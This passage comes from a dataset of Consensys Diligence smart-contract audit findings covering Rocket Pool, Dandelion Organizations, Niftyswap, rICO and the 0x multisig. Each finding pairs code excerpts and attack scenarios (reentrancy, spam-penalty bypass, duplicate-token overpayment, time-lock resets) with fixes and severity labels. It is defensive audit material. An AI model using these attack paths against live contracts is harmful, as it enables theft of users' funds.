["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.39 Deployment - Overloaded Ubuntu base image ", "body": " Description The SmartNode and the corresponding proxy Dockerfiles base their builds on the ubuntu:20.10 image. This image introduces many unrelated tools that significantly increase the container s attack surface and the tools an attacker has at their disposal once they have gained access to the container. Some of these tools include: apt bash/sh perl Examples smartnode-2.5-Tokenomics/docker/rocketpool-dockerfile:L26-L26 FROM ubuntu:20.10 smartnode-2.5-Tokenomics/docker/rocketpool-pow-proxy-dockerfile:L25-L25 FROM ubuntu:20.10 Recommendation Consider using a smaller and more restrictive base image such as Alpine. Additionally, AppArmor or Seccomp policies should be used to prevent unexpected and potentially malicious activities during the container s lifecycle. As an illustrative example, a SmartNode container does not need to load/unload kernel modules or loading a BPF to capture network traffic. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.40 RocketMinipoolDelegate - enforce that the delegate contract cannot be called directly ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by removing the constructor and therefore the initialization code from the RocketMinipoolDelegate contract. The contract cannot be used directly anymore as all relevant methods are decorated Description This contract is not meant to be consumed directly and will only be delegate called from Minipool. Being able to call it directly might even create the problem that, in the worst case, someone might be able to selfdestruct the contract rendering all other contracts that link to it dysfunctional. This might even not be easily detectable because delegatecall to an EOA will act as a NOP. The access control checks on the methods currently prevent methods from being called directly on the delegate. They require state variables to be set correctly, or the delegate is registered as a valid minipool in the system. Both conditions are improbable to be fulfilled, hence, mitigation any security risk. However, it looks like this is more of a side-effect than a design decision, and we would recommend not explicitly stating that the delegate contract cannot be used directly. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolDelegate.sol:L65-L70 constructor(address _rocketStorageAddress) { // Initialise RocketStorage require(_rocketStorageAddress != address(0x0), \"Invalid storage address\"); rocketStorage = RocketStorageInterface(_rocketStorageAddress); Recommendation Remove the initialization from the constructor in the delegate contract. Consider adding a flag that indicates that the delegate contract is initialized and only set in the Minipool contract and not in the logic contract (delegate). On calls, check that the contract is initialized. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "5.1 TimeLock spam prevention can be bypassed Addressed", "body": " Resolution This was addressed in commit aa6fc49fbf3230d7f02956b33a3150c6885ee93f by parsing the input evm script and ensuring only a single external call is made. Additionally, commit 453179e98159413d38196b6a5373cdd729483567 added Description The TimeLock app is a forwarder that requires users to lock some token before forwarding an EVM callscript. Its purpose is to introduce a spam penalty to hamper repeat actions within an Aragon org. In the context of a Dandelion org, this spam penalty is meant to stop users from repeatedly creating votes in DandelionVoting, as subsequent votes are buffered by a configurable number of blocks (DandelionVoting.bufferBlocks). Spam prevention is important, as the more votes are buffered, the longer it takes before non-spam votes are able to be executed. By allowing arbitrary calls to be executed, the TimeLock app opens several potential vectors for bypassing spam prevention. Examples Using a callscript to transfer locked tokens to the sender By constructing a callscript that executes a call to the lock token address, the sender execute calls to the lock token on behalf of TimeLock. Any function can be executed, making it possible to not only transfer locked tokens back to the sender, but also steal other users locked tokens by way of transfer. Using a batched callscript to call DandelionVoting.newVote repeatedly Callscripts can be batched, meaning they can execute multiple calls before finishing. Within a Dandelion org, the spam prevention mechanism is used for the DandelionVoting.newVote function. A callscript that batches multiple calls to this function can execute newVote several times per call to TimeLock.forward. Although multiple new votes are created, only one spam penalty is incurred, making it trivial to extend the buffer imposed on non-spam votes. Using a callscript to re-enter TimeLock and forward or withdrawAllTokens to itself A callscript can be used to re-enter TimeLock.forward, as well as any other TimeLock functions. Although this may not be directly exploitable, it does seem unintentional that many of the TimeLock contract functions are accessible to itself in this manner. Recommendation Add the TimeLock contract s own address to the evmscript blacklist Add the TimeLock lock token address to the evmscript blacklist To fix spamming through batched callscripts, one option is to have users pass in a destination and calldata, and manually perform a call. Alternatively, CallsScript can be forked and altered to only execute a single external call to a single destination. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "5.2 Passing duplicate tokens to Redemptions and TokenRequest may have unintended consequences Addressed", "body": " Resolution This was addressed in Redemptions commit 2b0034206a5b9cdf239da7a51900e89d9931554f by checking redeemableTokenAdded[token] == false for each subsequent token added during initialization. Note that ordering is not enforced. Additionally, the issue in TokenRequest was addressed in commit eb4181961093439f142f2e74eb706b7f501eb5c0 by requiring that each subsequent token added during initialization has a value strictly greater than the previous token added. Description Both Redemptions and TokenRequest are initialized with a list of acceptable tokens to use with each app. For Redemptions, the list of tokens corresponds to an organization s treasury assets. For TokenRequest, the list of tokens corresponds to tokens accepted for payment to join an organization. Neither contract makes a uniqueness check on input tokens during initialization, which can lead to unintended behavior. Examples In Redemptions, each of an organization s assets are redeemed according to the sender s proportional ownership in the org. The redemption process iterates over the redeemableTokens list, paying out the sender their proportion of each token listed: code/redemptions-app/contracts/Redemptions.sol:L112-L121 for (uint256 i = 0; i < redeemableTokens.length; i++) { vaultTokenBalance = vault.balance(redeemableTokens[i]); redemptionAmount = _burnableAmount.mul(vaultTokenBalance).div(burnableTokenTotalSupply); totalRedemptionAmount = totalRedemptionAmount.add(redemptionAmount); if (redemptionAmount > 0) { vault.transfer(redeemableTokens[i], msg.sender, redemptionAmount); If a token address is included more than once, the sender will be paid out more than once, potentially earning many times more than their proportional share of the token. In TokenRequest, this behavior does not allow for any significant deviation from expected behavior. It was included because the initialization process is similar to that of Redemptions. Recommendation During initialization in both apps, check that input token addresses are unique. One simple method is to require that token addresses are submitted in ascending order, and that each subsequent address added is greater than the one before. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "5.3 The Delay app allows scripts to be paused even after execution time has elapsed Addressed", "body": " Resolution This was addressed in commit 46d8fa414cc3e68c68a5d9bc1174be5f32970611 by requiring that the current timestamp is before the delayed script s execution time. Description The Delay app is used to configure a delay between when an evm script is created and when it is executed. The entry point for this process is Delay.delayExecution, which stores the input script with a future execution date: code/delay-app/contracts/Delay.sol:L153-L162 function _delayExecution(bytes _evmCallScript) internal returns (uint256) { uint256 delayedScriptIndex = delayedScriptsNewIndex; delayedScriptsNewIndex++; delayedScripts[delayedScriptIndex] = DelayedScript(getTimestamp64().add(executionDelay), 0, _evmCallScript); emit DelayedScriptStored(delayedScriptIndex); return delayedScriptIndex; An auxiliary capability of the Delay app is the ability to pause the delayed script, which sets the script s pausedAt value to the current block timestamp: code/delay-app/contracts/Delay.sol:L80-L85 function pauseExecution(uint256 _delayedScriptId) external auth(PAUSE_EXECUTION_ROLE) { require(!_isExecutionPaused(_delayedScriptId), ERROR_CAN_NOT_PAUSE); delayedScripts[_delayedScriptId].pausedAt = getTimestamp64(); emit ExecutionPaused(_delayedScriptId); A paused script cannot be executed until resumeExecution is called, which extends the script s executionTime by the amount of time paused. Essentially, the delay itself is paused: code/delay-app/contracts/Delay.sol:L91-L100 function resumeExecution(uint256 _delayedScriptId) external auth(RESUME_EXECUTION_ROLE) { require(_isExecutionPaused(_delayedScriptId), ERROR_CAN_NOT_RESUME); DelayedScript storage delayedScript = delayedScripts[_delayedScriptId]; uint64 timePaused = getTimestamp64().sub(delayedScript.pausedAt); delayedScript.executionTime = delayedScript.executionTime.add(timePaused); delayedScript.pausedAt = 0; emit ExecutionResumed(_delayedScriptId); A delayed script whose execution time has passed and is not currently paused should be able to be executed via the execute function. However, the pauseExecution function still allows the aforementioned script to be paused, halting execution. Recommendation Add a check to pauseExecution to ensure that execution is not paused if the script s execution delay has already transpired. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "5.4 Misleading intentional misconfiguration possible through misuse of newToken and newBaseInstance Addressed", "body": " Resolution This was addressed in commit b68d89ab0deb22161987e19d1ff0bb9d7303f0a9 by making Description The instantiation process for a Dandelion organization requires two separate external calls to DandelionOrg. There are two primary functions: installDandelionApps, and newTokenAndBaseInstance. installDandelionApps relies on cached results from prior calls to newTokenAndBaseInstance and completes the initialization step for a Dandelion org. newTokenAndBaseInstance is a wrapper around two publicly accessible functions: newToken and newBaseInstance. Called together, the functions: Deploy a new MiniMeToken used to represent shares in an organization, and cache the address of the created token: code/dandelion-org/contracts/DandelionOrg.sol:L128-L137 /** @dev Create a new MiniMe token and save it for the user @param _name String with the name for the token used by share holders in the organization @param _symbol String with the symbol for the token used by share holders in the organization / function newToken(string memory _name, string memory _symbol) public returns (MiniMeToken) { MiniMeToken token = _createToken(_name, _symbol, TOKEN_DECIMALS); _saveToken(token); return token; Create a new dao instance using Aragon s BaseTemplate contract: code/dandelion-org/contracts/DandelionOrg.sol:L139-L160 /** @dev Deploy a Dandelion Org DAO using a previously saved MiniMe token @param _id String with the name for org, will assign `[id].aragonid.eth` @param _holders Array of token holder addresses @param _stakes Array of token stakes for holders (token has 18 decimals, multiply token amount `* 10^18`) @param _useAgentAsVault Boolean to tell whether to use an Agent app as a more advanced form of Vault app / function newBaseInstance( string memory _id, address[] memory _holders, uint256[] memory _stakes, uint64 _financePeriod, bool _useAgentAsVault public _validateId(_id); _ensureBaseSettings(_holders, _stakes); (Kernel dao, ACL acl) = _createDAO(); _setupBaseApps(dao, acl, _holders, _stakes, _financePeriod, _useAgentAsVault); Set up prepackaged Aragon apps, like Vault, TokenManager, and Finance: code/dandelion-org/contracts/DandelionOrg.sol:L162-L182 function _setupBaseApps( Kernel _dao, ACL _acl, address[] memory _holders, uint256[] memory _stakes, uint64 _financePeriod, bool _useAgentAsVault internal MiniMeToken token = _getToken(); Vault agentOrVault = _useAgentAsVault ? _installDefaultAgentApp(_dao) : _installVaultApp(_dao); TokenManager tokenManager = _installTokenManagerApp(_dao, token, TOKEN_TRANSFERABLE, TOKEN_MAX_PER_ACCOUNT); Finance finance = _installFinanceApp(_dao, agentOrVault, _financePeriod == 0 ? DEFAULT_FINANCE_PERIOD : _financePeriod); _mintTokens(_acl, tokenManager, _holders, _stakes); _saveBaseApps(_dao, finance, tokenManager, agentOrVault); _saveAgentAsVault(_dao, _useAgentAsVault); Note that newToken and newBaseInstance can be called separately. The token created in newToken is cached in _saveToken, which overwrites any previously-cached value: code/dandelion-org/contracts/DandelionOrg.sol:L413-L417 function _saveToken(MiniMeToken _token) internal { DeployedContracts storage senderDeployedContracts = deployedContracts[msg.sender]; senderDeployedContracts.token = address(_token); Cached tokens are retrieved in _getToken: code/dandelion-org/contracts/DandelionOrg.sol:L441-L447 function _getToken() internal returns (MiniMeToken) { DeployedContracts storage senderDeployedContracts = deployedContracts[msg.sender]; require(senderDeployedContracts.token != address(0), ERROR_MISSING_TOKEN_CONTRACT); MiniMeToken token = MiniMeToken(senderDeployedContracts.token); return token; By exploiting the overwriteable caching mechanism, it is possible to intentionally misconfigure Dandelion orgs. Examples installDandelionApps uses _getToken to associate a token with the DandelionVoting app. The value returned from _getToken depends on the sender s previous call to newToken, which overwrites any previously-cached value. The steps for intentional misconfiguration are as follows: Sender calls newTokenAndBaseInstance, creating token m0 and DAO A. The TokenManager app in A is automatically configured to be the controller of m0. m0 is cached using _saveToken. DAO A apps are cached for future use using _saveBaseApps and _saveAgentAsVault. Sender calls newToken, creating token m1, and overwriting the cache of m0. Future calls to _getToken will retrieve m1. The DandelionOrg contract is the controller of m1. Sender calls installDandelionApps, which installs Dandelion apps in DAO A The DandelionVoting app is configured to use the current cached token, m1, rather than the token associated with A.TokenManager, m0 Many different misconfigurations are possible, and some may be underhandedly abusable. Recommendation Make newToken and newBaseInstance internal so they are only callable via newTokenAndBaseInstance. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "5.5 Delay.execute can re-enter and re-execute the same script twice Addressed", "body": " Resolution This was addressed in commit f049e978f93765e27783a3ecac4830498bb779ba by deleting the delayed script before it is run. 1Hive elected to keep an empty script blacklist in order to allow delayed actions to be taken on the Description Delay.execute does not follow the checks-effects-interactions pattern, and deletes a delayed script only after the script is run. Because the script being run executes arbitrary external calls, a script can be created that re-enters Delay and executes itself multiple times before being deleted: code/delay-app/contracts/Delay.sol:L112-L123 /** @notice Execute the script with ID `_delayedScriptId` @param _delayedScriptId The ID of the script to execute / function execute(uint256 _delayedScriptId) external { require(canExecute(_delayedScriptId), ERROR_CAN_NOT_EXECUTE); runScript(delayedScripts[_delayedScriptId].evmCallScript, new bytes(0), new address[](0)); delete delayedScripts[_delayedScriptId]; emit ExecutedScript(_delayedScriptId); Recommendation Add the Delay contract address to the runScript blacklist, or delete the delayed script from storage before it is run. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "5.6 Delay.cancelExecution should revert on a non-existent script id Addressed", "body": " Resolution This was addressed in commit d99c94f5138a9af1fd5f0cd6990c140b46a55925 by adding the Description cancelExecution makes no existence check on the passed-in script ID, clearing its storage slot and emitting an event: code/delay-app/contracts/Delay.sol:L102-L110 /** @notice Cancel script execution with ID `_delayedScriptId` @param _delayedScriptId The ID of the script execution to cancel / function cancelExecution(uint256 _delayedScriptId) external auth(CANCEL_EXECUTION_ROLE) { delete delayedScripts[_delayedScriptId]; emit ExecutionCancelled(_delayedScriptId); Recommendation Add a check that the passed-in script exists. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "5.7 ID validation check missing for installDandelionApps Addressed", "body": " Resolution This was addressed in commit 8d1ecb1bc892d6ea1d34c7234e35de031db2bebd by removing the Description DandelionOrg allows users to kickstart an Aragon organization by using a dao template. There are two primary functions to instantiate an org: newTokenAndBaseInstance, and installDandelionApps. Both functions accept a parameter, string _id, meant to represent an ENS subdomain that will be assigned to the new org during the instantiation process. The two functions are called independently, but depend on each other. In newTokenAndBaseInstance, a sanity check is performed on the _id parameter, which ensures the _id length is nonzero: code/dandelion-org/contracts/DandelionOrg.sol:L155 _validateId(_id); Note that the value of _id is otherwise unused in newTokenAndBaseInstance. In installDandelionApps, this check is missing. The check is only important in this function, since it is in installDandelionApps that the ENS subdomain registration is actually performed. Recommendation Use _validateId in installDandelionApps rather than newTokenAndBaseInstance. Since the _id parameter is otherwise unused in newTokenAndBaseInstance, it can be removed. Alternatively, the value of the submitted _id could be cached between calls and validated in newTokenAndBaseInstance, similarly to newToken. 6 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "6.1 Ethlint", "body": " Ethlint is an open source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: $ solium -V Solium version 1.2.5 $ solium -d . dandelion-org/contracts/DandelionOrg.sol 86:1 warning Line contains trailing whitespace no-trailing-whitespace 226:8 warning Line exceeds the limit of 145 characters max-len dandelion-voting-app/contracts/DandelionVoting.sol 272:8 warning Line exceeds the limit of 145 characters max-len token-request-app/contracts/TokenRequest.sol 62:4 warning Line exceeds the limit of 145 characters max-len 104:1 warning Line contains trailing whitespace no-trailing-whitespace token-request-app/contracts/lib/UintArrayLib.sol 6:3 error Only use indent of 4 spaces. indentation \u2716 1 error, 5 warnings found. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "6.2 Surya", "body": " Surya is a utility tool for smart contract systems. It provides a number of visual outputs and information about the structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: Contracts Description Table Function Name Visibility Mutability Modifiers AddressArrayLib Library deleteItem Internal \ud83d\udd12 contains Internal \ud83d\udd12 ArrayUtils Library deleteItem Internal \ud83d\udd12 DandelionOrg Implementation BaseTemplate Public BaseTemplate newTokenAndBaseInstance External NO installDandelionApps External NO newToken Public NO newBaseInstance Public NO _setupBaseApps Internal \ud83d\udd12 _installDandelionApps Internal \ud83d\udd12 _installDandelionVotingApp Internal \ud83d\udd12 _installDandelionVotingApp Internal \ud83d\udd12 _createDandelionVotingPermissions Internal \ud83d\udd12 _installRedemptionsApp Internal \ud83d\udd12 _createRedemptionsPermissions Internal \ud83d\udd12 _installTokenRequestApp Internal \ud83d\udd12 _createTokenRequestPermissions Internal \ud83d\udd12 _installTimeLockApp Internal \ud83d\udd12 _installTimeLockApp Internal \ud83d\udd12 _createTimeLockPermissions Internal \ud83d\udd12 _installTokenBalanceOracle Internal \ud83d\udd12 _createTokenBalanceOraclePermissions Internal \ud83d\udd12 _setupBasePermissions Internal \ud83d\udd12 _setupDandelionPermissions Internal \ud83d\udd12 _saveToken Internal \ud83d\udd12 _saveBaseApps Internal \ud83d\udd12 _saveAgentAsVault Internal \ud83d\udd12 _getDao Internal \ud83d\udd12 _getToken Internal \ud83d\udd12 _getBaseApps Internal \ud83d\udd12 _getAgentAsVault Internal \ud83d\udd12 _clearDeployedContracts Internal \ud83d\udd12 _ensureBaseAppsDeployed Internal \ud83d\udd12 _ensureBaseSettings Private \ud83d\udd10 _ensureDandelionSettings Private \ud83d\udd10 _registerApp Private \ud83d\udd10 _setOracle Private \ud83d\udd10 _paramsTo256 Private \ud83d\udd10 DandelionVoting Implementation IForwarder, IACLOracle, AragonApp initialize External onlyInit changeSupportRequiredPct External authP changeMinAcceptQuorumPct External authP changeBufferBlocks External auth changeExecutionDelayBlocks External auth newVote External auth vote External voteExists executeVote External NO isForwarder External NO forward Public NO canForward Public NO canPerform External NO canExecute Public NO canVote Public voteExists getVote Public voteExists getVoterState Public voteExists _newVote Internal \ud83d\udd12 _vote Internal \ud83d\udd12 _canExecute Internal \ud83d\udd12 voteExists _votePassed Internal \ud83d\udd12 _canVote Internal \ud83d\udd12 _voterStake Internal \ud83d\udd12 _isVoteOpen Internal \ud83d\udd12 _isValuePct Internal \ud83d\udd12 Delay Implementation AragonApp, IForwarder initialize External onlyInit setExecutionDelay External auth delayExecution External auth isForwarder External NO pauseExecution External auth resumeExecution External auth cancelExecution External auth execute External NO canExecute Public NO canForward Public NO forward Public NO _isExecutionPaused Internal \ud83d\udd12 scriptExists _delayExecution Internal \ud83d\udd12 Redemptions Implementation AragonApp initialize External onlyInit addRedeemableToken External auth removeRedeemableToken External auth redeem External authP getRedeemableTokens External NO getToken External NO getETHAddress External NO TimeLock Implementation AragonApp, IForwarder, IForwarderFee initialize External onlyInit changeLockDuration External auth changeLockAmount External auth changeSpamPenaltyFactor External auth withdrawAllTokens External NO withdrawTokens External NO forwardFee External NO isForwarder External NO canForward Public NO forward Public NO getWithdrawLocksCount Public NO getSpamPenalty Public NO _withdrawTokens Internal \ud83d\udd12 TokenBalanceOracle Implementation AragonApp, IACLOracle initialize External onlyInit setToken External auth setMinBalance External auth canPerform External NO TokenRequest Implementation AragonApp initialize External onlyInit setTokenManager External auth setVault External auth addToken External auth removeToken External auth createTokenRequest External NO refundTokenRequest External nonReentrant tokenRequestExists finaliseTokenRequest External nonReentrant tokenRequestExists auth getAcceptedDepositTokens Public NO getTokenRequest Public NO getToken Public NO UintArrayLib Library deleteItem Internal \ud83d\udd12 Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/12/dandelion-organizations/"}, {"title": "5.1 Tokens with no decimals can be locked in Niftyswap ", "body": " Resolution This will be addressed by only listing tokens with at least 2 decimals. This should be well documented in the Niftyswap repository and code comments. Description Assume the Niftyswap exchange has: wrapped DAI as the base currency, and it s ERC1155 contract has a token called Blue Dragons , which are a low fungibility token, with zero decimals, and a total supply of 100. Consider the following scenario on the Niftyswap exchange: 10 people each add 1,000 DAI, and 1 BlueDragon. They get 1,000 pool tokens each. Someone buys 1 BlueDragon, at a price of 1,117 base Tokens (per the constant product pricing model). Niftyswap s balances are now 11,117 baseTokens, 9 Blue Dragons. Someone removes liquidity by burning 1,000 pool tokens: They would get 1111 base tokens (1000 * 11,117/ 10000). They would get 0 Blue Dragons due to the rounding on integer math. Recommendation Through conversation with the developers, we agreed the right approach is for tokens to have at least 2 decimals to minimize the negative effects of rounding down. ", "labels": ["Consensys", "Major", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/02/horizon-games/"}, {"title": "5.2 Incorrect response from price feed if called during an onERC1155Received callback ", "body": " Resolution The design will not be modified. Horizon Games should clearly document this risk for 3rd parties seeking to use Niftyswap as a price feed. Description The ERC 1155 standard requires that smart contracts must implement onERC1155Received and onERC1155BatchReceived to accept transfers. This means that on any token received, code run on the receiving smart contract. In NiftyswapExchange when adding / removing liquidity or buying tokens, the methods mentioned above are called when the tokens are sent. When this happens, the state of the contract is changed but not completed, the tokens are sent to the receiving smart contract but the state is not completely updated. This happens in these cases _baseToToken (when buying tokens) code/niftyswap/contracts/exchange/NiftyswapExchange.sol:L163-L169 // // Refund Base Token if any if (totalRefundBaseTokens > 0) { baseToken.safeTransferFrom(address(this), _recipient, baseTokenID, totalRefundBaseTokens, \"\"); // Send Tokens all tokens purchased token.safeBatchTransferFrom(address(this), _recipient, _tokenIds, _tokensBoughtAmounts, \"\"); _removeLiquidity code/niftyswap/contracts/exchange/NiftyswapExchange.sol:L485-L487 // Transfer total Base Tokens and all Tokens ids baseToken.safeTransferFrom(address(this), _provider, baseTokenID, totalBaseTokens, \"\"); token.safeBatchTransferFrom(address(this), _provider, _tokenIds, tokenAmounts, \"\"); _addLiquidity code/niftyswap/contracts/exchange/NiftyswapExchange.sol:L403-L407 // Mint liquidity pool tokens _batchMint(_provider, _tokenIds, liquiditiesToMint, \"\"); // Transfer all Base Tokens to this contract baseToken.safeTransferFrom(_provider, address(this), baseTokenID, totalBaseTokens, abi.encode(DEPOSIT_SIG)); Each of these examples send some tokens to the smart contract, which triggers calling some code on the receiving smart contract. While these methods have the nonReentrant modifier which protects them from re-netrancy, the result of the methods getPrice_baseToToken and getPrice_tokenToBase is affected. These 2 methods do not have the nonReentrant modifier. The price reported by the getPrice_baseToToken and getPrice_tokenToBase methods is incorrect (until after the end of the transaction) because they rely on the number of tokens owned by the NiftyswapExchange; which between the calls is not finalized. Hence the price reported will be incorrect. This gives the smart contract which receives the tokens, the opportunity to use other systems (if they exist) that rely on the result of getPrice_baseToToken and getPrice_tokenToBase to use the returned price to its advantage. It s important to note that this is a bug only if other systems rely on the price reported by this NiftyswapExchange. Also the current contract is not affected, nor its balances or internal ledger, only other systems relying on its reported price will be fooled. Recommendation Because there is no way to enforce how other systems work, a restriction can be added on NiftyswapExchange to protect other systems (if any) that rely on NiftyswapExchange for price discovery. Adding a nonReentrant modifier on the view methods getPrice_baseToToken and getPrice_tokenToBase will add a bit of protection for the ecosystem. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/02/horizon-games/"}, {"title": "6.1 Test code present in the code base ", "body": " Resolution Fixed in lukso-network/rICO-smart-contracts@edb880c. Description Test code are present in the code base. This is mainly a reminder to fix those before production. Examples rescuerAddress and freezerAddress are not even in the function arguments. code/contracts/ReversibleICO.sol:L243-L247 whitelistingAddress = _whitelistingAddress; projectAddress = _projectAddress; freezerAddress = _projectAddress; // TODO change, here only for testing rescuerAddress = _projectAddress; // TODO change, here only for testing Recommendation Make sure all the variable assignments are ready for production before deployment to production. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/04/rico/"}, {"title": "6.2 FreezerAddress has more power than required ", "body": " Resolution This issue is acknowledged by the client and the behaviour has been documented in security measurements. Description FreezerAddress is designed to have the ability of freezing the contract in case of emergency. However, indirectly, there are other changes in the system that can result from the freeze. Examples FreezerAddress can extend the rICO time frame. Given that the frozenPeriod is deducted from the blockNumber in stage calculations, the buyPhaseEndBlock is technically equals to buyPhaseEndBlock + frozenPeriod FreezerAddress can call disableEscapeHatch(), which disables the escape hatch and rendering RescuerAddress useless. Recommendation If these behaviors are intentional they should be well documented and specified. If not, they should be removed. In the case they are, indeed, intentional the audit team believes that, for Example 1., there should be some event fired to serve as notification for the participants (possibly followed by off-chain infrastructure to warn them through email or other communication channel). ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/04/rico/"}, {"title": "6.3 frozenPeriod is subtracted twice for calculating the current price ", "body": " Resolution Found in parallel to the audit team and has been mitigated in lukso-network/rICO-smart-contracts@ebc4bce . The issue was further simplified by adding lukso-network/rICO-smart-contracts@e4c9ed5 to remove ambiguity when calculating current block number. Description If the contract had been frozen, the current stage price will calculate the price by subtracting the frozenPeriod twice and result in wrong calculation. getCurrentBlockNumber() subtracts frozenPeriod once, and then getStageAtBlock() will also subtract the same number again. Examples code/contracts/ReversibleICO.sol:L617-L619 function getCurrentStage() public view returns (uint8) { return getStageAtBlock(getCurrentBlockNumber()); code/contracts/ReversibleICO.sol:L711-L714 function getCurrentBlockNumber() public view returns (uint256) { return uint256(block.number) .sub(frozenPeriod); // make sure we deduct any frozenPeriod from calculations code/contracts/ReversibleICO.sol:L654-L656 function getStageAtBlock(uint256 _blockNumber) public view returns (uint8) { uint256 blockNumber = _blockNumber.sub(frozenPeriod); // adjust the block by the frozen period Recommendation Make sure frozenPeriod calculation is done correctly. It could be solved by renaming getCurrentBlockNumber() to reflect the calculation done inside the function. e.g. : getCurrentBlockNumber() : gets current block number getCurrentEffectiveBlockNumber() : calculates the effective block number deducting frozenPeriod ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/04/rico/"}, {"title": "6.4 Lockup condition in getStageAtBlock() ", "body": " Resolution Even though the freeze pattern does indeed create a lot of additional complexity to the protocol, the particular require mentioned in the issue corpus by the audit team was found to never be triggered in a harmful way by rICO s development team. In the light of this new discovery, we are greatly reducing the severity of the issue to Minor . The reason why it is still kept as an issue is that the implementation of the freezing mechanism could still be greatly improved as we saw in the presented fixes here: lukso-network/rICO-smart-contracts@e4c9ed5 The changes resulted in a much more resilient rICO implementation. Description Given that the contract has been frozen at least once, if the frozenPeriod is longer than the period before the freeze event (starting from commitPhaseStartBlock till the freezeStart), the following require in getStageAtBlock() will revert due to the fact that blockNumber < commitPhaseStartBlock: uint256 blockNumber = _blockNumber.sub(frozenPeriod); // adjust the block by the frozen period require(blockNumber >= commitPhaseStartBlock && blockNumber <= buyPhaseEndBlock, \"Block outside of rICO period.\"); Note that the issue here is also related to the way currentBlockNumber is calculated (See issue 6.3 and Separate currentBlock from currentEffectiveBlock. getCurrentStage() is called for every accept or cancelation of contributions and this lockup can result in total system halt. Recommendation Given that in the init function, the following condition is checked: require(_commitPhaseStartBlock > getCurrentBlockNumber(), \"Start block cannot be set in the past.\"); The check in the getStageAtBlock() can be removed. However this is assuming that the correct calculation of the currentEffectiveBlockNumber is used. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/04/rico/"}, {"title": "6.5 emit events for significant state changes ", "body": " Resolution This issue was discussed in the code walk through meeting and was fixed, by adding proper events to the code base in lukso-network/rICO-smart-contracts@77517a4, before the end of the audit. Description Events are useful for UI changes and user notifications. The code base overall can use more use of events to update the UI and participants. One of the most important aspects that must emit events, are when system state and functionality are changed. These functions require to emit events for better visibility to the participants: freeze() unfreeze() disableEscapeHatch() escapeHatch() Recommendation emit events when system state is changed. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/04/rico/"}, {"title": "6.1 An account that confirms a transaction via AssetProxyOwner can indefinitely block that transaction ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2297 by allowing transactions to be over confirmed without resetting the confirmation time. As long as there are enough honest signers, this prevents a malicious signer from blocking transactions. Description When a transaction reaches the required number of confirmations in confirmTransaction(), its confirmation time is recorded: code/contracts/multisig/contracts/src/MultiSigWalletWithTimeLock.sol:L86-L100 /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) notFullyConfirmed(transactionId) confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); if (isConfirmed(transactionId)) { _setConfirmationTime(transactionId, block.timestamp); Before the time lock has elapsed and the transaction is executed, any of the owners that originally confirmed the transaction can revoke their confirmation via revokeConfirmation(): code/contracts/multisig/contracts/src/MultiSigWallet.sol:L249-L259 /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); Immediately after, that owner can call confirmTransaction() again, which will reset the confirmation time and thus the time lock. This is especially troubling in the case of a single compromised key, but it s also an issue for disagreement among owners, where any m of the n owners should be able to execute transactions but could be blocked. Mitigations Only an owner can do this, and that owner has to be part of the group that originally confirmed the transaction. This means the malicious owner may have to front run the others to make sure they re in that initial confirmation set. Even once a malicious owner is in position to execute this perpetual delay, they need to call revokeConfirmation() and confirmTransaction() again each time. Another owner can attempt to front the attacker and execute their own confirmTransaction() immediately after the revokeConfirmation() to regain control. Recommendation There are several ways to address this, but to best preserve the original MultiSigWallet semantics, once a transaction has reached the required number of confirmations, it should be impossible to revoke confirmations. In the original implementation, this is enforced by immediately executing the transaction when the final confirmation is received. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.2 Orders with signatures that require regular validation can have their validation bypassed if the order is partially filled ", 